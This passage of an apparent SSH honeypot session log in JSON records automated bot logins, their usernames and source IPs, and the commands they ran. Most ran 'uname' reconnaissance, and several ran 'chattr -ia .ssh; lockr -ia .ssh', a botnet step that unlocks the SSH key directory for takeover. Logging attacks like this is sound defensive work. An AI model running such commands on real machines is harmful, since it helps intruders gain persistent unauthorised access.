  "src_ip": "77.239.124.249",
  "src_port": 47170,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 525,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:21:34.495682+00:00",
  "ended_at": "2026-08-26T12:21:38.917678+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e57a72cf-9045-4c57-81d2-9b27a43e559b",
  "name": "sullen-hazel-vicuna",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 52430,
  "username": "node",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:21:15.151130+00:00",
  "ended_at": "2026-08-26T12:21:19.801192+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e3d52e9f-cfba-4cee-bc0d-b28eda0ca7cc",
  "name": "calm-crystal-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52290,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 409,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:21:12.237605+00:00",
  "ended_at": "2026-08-26T12:21:17.468355+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3297d59d-7971-4c42-8611-2517d17cf8fd",
  "name": "eager-gnarled-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60294,
  "username": "node",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 694,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:21:10.720855+00:00",
  "ended_at": "2026-08-26T12:21:19.802208+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "a17bd91b-bc88-41f7-99e9-c235c12c7cd0",
  "name": "faded-hazel-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60754,
  "username": "teste",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 525,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:20:55.675855+00:00",
  "ended_at": "2026-08-26T12:21:00.538454+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5105c764-41be-4799-9919-317103f5e077",
  "name": "gleaming-daring-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 46286,
  "username": "junin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 866,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:20:52.729954+00:00",
  "ended_at": "2026-08-26T12:20:53.790316+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "328227ba-1abd-47c2-b06f-58324d753c8f",
  "name": "forlorn-opal-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 57960,
  "username": "nexus",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:20:50.086096+00:00",
  "ended_at": "2026-08-26T12:20:51.340643+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "804c52a7-8819-4ddd-9dae-ea087dc5159a",
  "name": "rapid-genial-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 48088,
  "username": "nexus",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:20:39.738526+00:00",
  "ended_at": "2026-08-26T12:20:40.715686+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "42104a7f-a5c1-4b58-8fd9-533bfbb5012e",
  "name": "russet-amiable-serval",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 47198,
  "username": "kevin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:20:38.944274+00:00",
  "ended_at": "2026-08-26T12:20:43.125686+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "da73558c-0f31-44af-8eb5-20d7c25f2965",
  "name": "thorny-emerald-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54174,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 382,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:20:34.805551+00:00",
  "ended_at": "2026-08-26T12:20:38.776621+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "acb9264f-9b5c-4428-b143-db8b6bcb046d",
  "name": "gallant-shaded-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58420,
  "username": "kevin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 440,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:20:33.409584+00:00",
  "ended_at": "2026-08-26T12:20:43.126775+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "9e1e2435-7923-4a90-abbb-49574cbf1431",
  "name": "marbled-leafy-parakeet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 46306,
  "username": "junin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:20:28.417142+00:00",
  "ended_at": "2026-08-26T12:20:29.689702+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e3e72e84-3922-4b90-9fd8-bae942d7612c",
  "name": "solar-ashen-crane",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 46294,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:20:24.866382+00:00",
  "ended_at": "2026-08-26T12:20:26.743009+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ca1bb215-8ea6-420a-9d1c-f33c1b592e98",
  "name": "golden-foggy-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52734,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 391,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:20:10.167772+00:00",
  "ended_at": "2026-08-26T12:20:13.026483+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3b06ce73-1baf-455c-b9ac-d77dbd2b0186",
  "name": "sincere-seaward-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48636,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 819,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:19:57.972996+00:00",
  "ended_at": "2026-08-26T12:20:03.195422+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6520eaaa-8d4f-4fc7-a608-29726bc40df5",
  "name": "golden-ginger-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40604,
  "username": "ftpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 822,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:19:47.575025+00:00",
  "ended_at": "2026-08-26T12:19:51.605835+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ceac974f-b5b2-4514-9214-c3a2ad82526d",
  "name": "muted-rapid-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59136,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1040,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:19:34.778704+00:00",
  "ended_at": "2026-08-26T12:19:39.751567+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d63bf5ee-bf27-46b2-bf3e-0346a56b7a30",
  "name": "western-inland-tinamou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 52738,
  "username": "dolphinscheduler",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:19:18.611664+00:00",
  "ended_at": "2026-08-26T12:19:22.945104+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f8bae0ec-d494-48f9-b0b1-383044765f80",
  "name": "slender-burly-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51420,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 908,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:19:13.474957+00:00",
  "ended_at": "2026-08-26T12:19:17.314341+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ee879b62-795c-4761-8c2a-650a8521f64a",
  "name": "fierce-mottled-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45868,
  "username": "dolphinscheduler",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 612,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:19:10.254834+00:00",
  "ended_at": "2026-08-26T12:19:22.944169+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1669
 },
 {
  "id": "2c5bc26f-4ef2-4f4f-8e03-8e6187911254",
  "name": "hazel-wiry-wallaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 48664,
  "username": "rdpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:19:05.841031+00:00",
  "ended_at": "2026-08-26T12:19:20.947829+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9e39d837-e731-49d8-861c-9069e065ae29",
  "name": "frosty-balmy-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52006,
  "username": "rdpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 927,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:18:59.848896+00:00",
  "ended_at": "2026-08-26T12:19:20.949189+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "8078563f-94ee-4828-a6cb-d5847cc0ca4e",
  "name": "fringed-regal-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52106,
  "username": "testuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 528,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:18:35.485440+00:00",
  "ended_at": "2026-08-26T12:18:39.262062+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1347962e-802c-43d7-814a-3a7127b6575b",
  "name": "pleasant-smoky-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 46198,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 375,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:18:16.819145+00:00",
  "ended_at": "2026-08-26T12:18:22.085705+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bbdfacfe-1601-4a08-b3b9-dbe5d03dc9aa",
  "name": "primal-rugged-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48988,
  "username": "pi",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 471,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:18:14.755892+00:00",
  "ended_at": "2026-08-26T12:18:17.686576+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cf2acddd-96f5-4f8f-a250-7235fafc5f74",
  "name": "quartz-merry-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 46086,
  "username": "casa",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 866,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:18:12.687619+00:00",
  "ended_at": "2026-08-26T12:18:13.899076+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2234
 },
 {
  "id": "1011ba7a-6fb2-41a4-8448-9e895941980b",
  "name": "frank-verdant-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57822,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 574,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:18:01.498078+00:00",
  "ended_at": "2026-08-26T12:18:05.639023+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d0c84a6f-cbdf-4679-90b6-2da258957f10",
  "name": "coastal-arctic-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37532,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 542,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:17:54.857125+00:00",
  "ended_at": "2026-08-26T12:17:58.219690+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b584e986-f48b-44c2-83f4-682ef9dd9f61",
  "name": "pristine-emerald-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 51782,
  "username": "user4",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:17:49.001453+00:00",
  "ended_at": "2026-08-26T12:17:52.626714+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0465e48f-9763-4d42-850b-573937b68b41",
  "name": "glassy-prairie-okapi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 46104,
  "username": "casa",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:17:48.992484+00:00",
  "ended_at": "2026-08-26T12:17:50.794057+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fc23aaf9-6a61-4006-9a14-8454af4627cd",
  "name": "somber-vaulted-tapir",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 46094,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:17:45.591698+00:00",
  "ended_at": "2026-08-26T12:17:47.293192+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ea2fe0dc-63cc-4a20-8473-fc45e4197706",
  "name": "rapid-steady-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 58364,
  "username": "user4",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1424,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:17:44.601788+00:00",
  "ended_at": "2026-08-26T12:17:52.628634+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "c28e7da2-61c4-4fac-b121-189ca10ec555",
  "name": "crystal-serene-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49080,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 887,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:17:40.202773+00:00",
  "ended_at": "2026-08-26T12:17:43.665823+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ef49f85e-3d80-4c3c-895b-826be3a65d34",
  "name": "frugal-mossy-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 45056,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 951,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:17:30.501014+00:00",
  "ended_at": "2026-08-26T12:17:36.118833+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a8c8a9c4-34f1-454e-8580-c2fb30eec24f",
  "name": "marbled-jaunty-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56940,
  "username": "testuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 927,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:17:09.017948+00:00",
  "ended_at": "2026-08-26T12:17:14.664566+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ebf3f6e8-620b-4aad-9e8a-b96e413e9a9e",
  "name": "faded-regal-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 51898,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1184,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:16:57.410038+00:00",
  "ended_at": "2026-08-26T12:17:04.187872+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b224569f-b6d6-407a-b242-fd904dffc236",
  "name": "civil-ruddy-weasel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 37518,
  "username": "ivan",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:16:47.846463+00:00",
  "ended_at": "2026-08-26T12:17:14.580322+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "73863ef6-1f6f-4897-af45-1c5a57f6396d",
  "name": "genial-bold-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "165.154.12.137",
  "src_port": 39626,
  "username": "andrey",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 601,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T12:16:47.678353+00:00",
  "ended_at": "2026-08-26T12:16:48.455967+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2245
 },
 {
  "id": "83714b9e-3ee3-4c7f-813a-7d0853909fb3",
  "name": "tawny-dusty-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36826,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 958,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:16:39.682089+00:00",
  "ended_at": "2026-08-26T12:16:46.624412+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "50b96774-9c59-425a-8521-f27f5b8dcff4",
  "name": "dusky-eager-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 49766,
  "username": "ivan",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 616,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:16:36.288780+00:00",
  "ended_at": "2026-08-26T12:17:14.583145+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "6f072f35-081c-46fb-be60-2d6a843c6c08",
  "name": "craggy-sincere-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 47494,
  "username": "andrey",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:16:32.830072+00:00",
  "ended_at": "2026-08-26T12:16:34.129848+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b84ddd96-3ca9-4aab-bdbc-cb216ae0774e",
  "name": "twilight-inland-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39850,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 691,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:16:30.075036+00:00",
  "ended_at": "2026-08-26T12:16:36.093797+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "47ad34cc-c8c0-4493-8888-a8766df6f3aa",
  "name": "lanky-hushed-cuckoo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "165.154.12.137",
  "src_port": 39640,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:16:28.892895+00:00",
  "ended_at": "2026-08-26T12:16:30.076308+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b2443e7c-ef45-4e0b-b2bd-e31bb91e699a",
  "name": "smoky-canny-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39580,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 926,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:16:14.378581+00:00",
  "ended_at": "2026-08-26T12:16:19.104844+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f7876baa-0189-4b75-8f6b-7dce8ea1715b",
  "name": "loyal-wandering-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 33342,
  "username": "fastuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1245,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:16:00.275916+00:00",
  "ended_at": "2026-08-26T12:16:03.753512+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3cee6f19-a370-4fb6-9377-8e13d038d76d",
  "name": "clever-brisk-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 44864,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1179,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:15:51.078791+00:00",
  "ended_at": "2026-08-26T12:15:56.577898+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "59e5d4bb-65a2-4cc1-93ca-603e9ce162bc",
  "name": "murky-slender-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 36840,
  "username": "mcserver",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T12:15:49.895921+00:00",
  "ended_at": "2026-08-26T12:16:02.413827+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f8b4e480-6eb9-43b4-a8e6-d0eedd0f41e1",
  "name": "tidal-mindful-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47610,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1381,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:15:49.222138+00:00",
  "ended_at": "2026-08-26T12:15:55.434109+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b04b7e2a-ecc4-4553-9536-7c38914e3a31",
  "name": "muted-hazel-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53164,
  "username": "mcserver",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1716,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:15:40.889104+00:00",
  "ended_at": "2026-08-26T12:16:02.413102+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "72f139c4-66fa-4111-b254-65841d7e3f3b",
  "name": "stormy-plush-alpaca",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36768,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1058,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T12:15:25.105119+00:00",
  "ended_at": "2026-08-26T12:15:31.129059+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
